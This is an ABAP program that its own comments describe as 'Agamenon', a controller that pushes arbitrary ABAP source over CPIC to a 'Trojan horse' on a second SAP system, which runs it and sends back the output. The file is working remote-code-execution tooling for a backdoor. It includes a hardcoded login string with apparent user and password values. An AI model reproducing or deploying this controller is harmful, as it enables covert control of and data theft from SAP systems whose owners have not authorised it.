REPORT ZCPICT1 NO STANDARD PAGE HEADING.
*
* This program is Agamenon, sitting in system A, and capable of
* sending a source code of any abap report using CPIC to the
* Trojan horse staying in system B. The Trojan horse will
* create and run the abap and send back the resut to Agamemnon.
*
* This is the flow of the communication:
* A B
* init -
* allocate accept
* validate -
* send receive
* receive send
* deallocate receive
*
* This is the TXCOM entry required in system A:
* AAA saphost sapdp02 I
*
INCLUDE RSEBCASC.
DATA: DEST(8) VALUE 'AAA', CONV(8), OUTPUT(100), INPUT(100),
DINF(4) TYPE X, SINF(4) TYPE X, SLEN(4) TYPE X,
RLEN(4) TYPE X, CONNECT(75).
DATA: PROGRAM LIKE SY-REPID VALUE 'ZREMABAP',
BEGIN OF T OCCURS 500,
LINE(72),
END OF T.
* Initialize
COMMUNICATION INIT ID CONV DESTINATION DEST.
IF SY-SUBRC <> 0. EXIT. ENDIF.
* Allocate
COMMUNICATION ALLOCATE ID CONV.
IF SY-SUBRC <> 0. EXIT. ENDIF.
* Create login string
MOVE 'CONNCPIC1 010CPICTEST NETUDDKIE ZTRHORSEZTRHORSE' TO CONNECT.
TRANSLATE CONNECT USING ASC_TO_EBC.
* Validate
COMMUNICATION SEND ID CONV BUFFER CONNECT.
IF SY-SUBRC <> 0. COMMUNICATION DEALLOCATE ID CONV. EXIT. ENDIF.
SINF = 0.
WHILE SINF = 0.
COMMUNICATION RECEIVE ID CONV
BUFFER INPUT
DATAINFO DINF
STATUSINFO SINF
RECEIVED RLEN.
IF SY-SUBRC <> 0. EXIT. ENDIF.
ENDWHILE.
* Send abap
READ REPORT PROGRAM INTO T.
IF SY-SUBRC <> 0. EXIT. ENDIF.
WRITE: / 'SENT:' COLOR 3.
LOOP AT T.
OUTPUT = T. SLEN = 72.
WRITE: / OUTPUT.
COMMUNICATION SEND ID CONV BUFFER OUTPUT LENGTH SLEN.
IF SY-SUBRC <> 0. COMMUNICATION DEALLOCATE ID CONV. EXIT. ENDIF.
ENDLOOP.
* Receive result of run
WRITE: / 'RECEIVED:' COLOR 3.
SINF = 0.
WHILE SINF = 0.
CLEAR INPUT.
COMMUNICATION RECEIVE ID CONV BUFFER INPUT DATAINFO DINF
STATUSINFO SINF
RECEIVED RLEN.
IF SY-SUBRC <> 0. EXIT. ENDIF.
WRITE: / INPUT.
ENDWHILE.
* Deallocate
COMMUNICATION DEALLOCATE ID CONV.
IF SY-SUBRC <> 0. EXIT. ENDIF.
* Display the result of run